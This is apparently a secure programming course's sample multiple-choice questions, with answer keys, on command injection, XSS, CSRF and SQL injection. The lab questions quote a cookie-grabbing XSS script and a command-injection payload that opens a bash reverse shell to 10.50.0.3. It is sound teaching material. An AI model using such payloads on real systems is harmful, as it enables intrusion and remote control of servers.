Secure Programming
Sample MCQ Questions

1. **Which of the following is the *strongest* defence against OS command injection?**

A. Blacklisting dangerous characters such as **;** and **&**
B. Escaping shell metacharacters before executing the command
C. Using a whitelist of expected inputs and avoiding direct shell execution
D. Checking the input length and rejecting unusually long values

Correct answer: C
Reasoning: Whitelisting + avoiding shell execution removes the attack surface entirely. Blacklists and escaping can be bypassed.

2. **A developer is encoding user input using HTML encoding (< → &lt;, > → &gt;). However, the application still suffers from XSS when user input is placed inside a JavaScript inline event handler — e.g., `<x onclick=alert(1)>click this!>`.**

Why does HTML encoding fail here?

A. HTML encoding only protects URL parameters
B. The encoding does not escape characters required for JavaScript string contexts
C. HTML encoding is deprecated in modern browsers
D. HTML encoding only protects attribute values, not JS code

Correct answer: B
Reasoning: In a JavaScript string context, characters like ', ", and \ must be escaped. HTML encoding does not protect JavaScript contexts.

3. **Which statement best explains why a CSRF token prevents CSRF attacks?**

A. The token proves the user has an active session
B. The token ensures the request originates from the same IP address
C. The attacker cannot predict or obtain the token to include it in their malicious request
D. The token is stored as a cookie, which the attacker cannot modify

Correct answer: C
Reasoning: CSRF tokens work because they are unpredictable and must be present in the request — something attackers cannot reproduce.

4. **A penetration tester discovers that the following query is vulnerable:**

```
SELECT * FROM users WHERE username = ' " + userInput + " ';
```

Which mitigation is the most effective and recommended?

A. Escape all single quotes in the input
B. Strip dangerous SQL keywords
C. Use a parameterised query / prepared statement
D. Limit results using LIMIT 1 to reduce attack impact

Correct answer: C
Reasoning: Parameterised queries eliminate SQLi by separating code from data.

Lab Examples

1. **In the Stored XSS lab, why does the injected JavaScript**

   (<script>alert(document.cookie)</script>)

   successfully execute when viewing the Coffeeshop product page?

   A. Django automatically allows JavaScript in all template variable.
   B. The template uses `{{ comment.comment | safe }}`, which disables HTML escaping
   C. Browsers always run scripts found in comment sections
   D. The session cookie is misconfigured to SameSite=None

Correct Answer: B
(Using safe tells Django **not** to escape user input, allowing the script to execute.)

2. **In the Command Injection lab, what is the purpose of the && operator in the following injected payload used on the Contact page?**

   " && bash -c 'bash -i >& /dev/tcp/10.50.0.3/9000 0>&1' #

   A. It encodes the payload to bypass input filtering
   B. It runs the injected command only if the original command fails
   C. It chains a second command to run after the original intended command

D. It comments out the rest of the command string

Correct Answer: C

(**&&** allows the attacker to append and execute a second command after the original backend command.)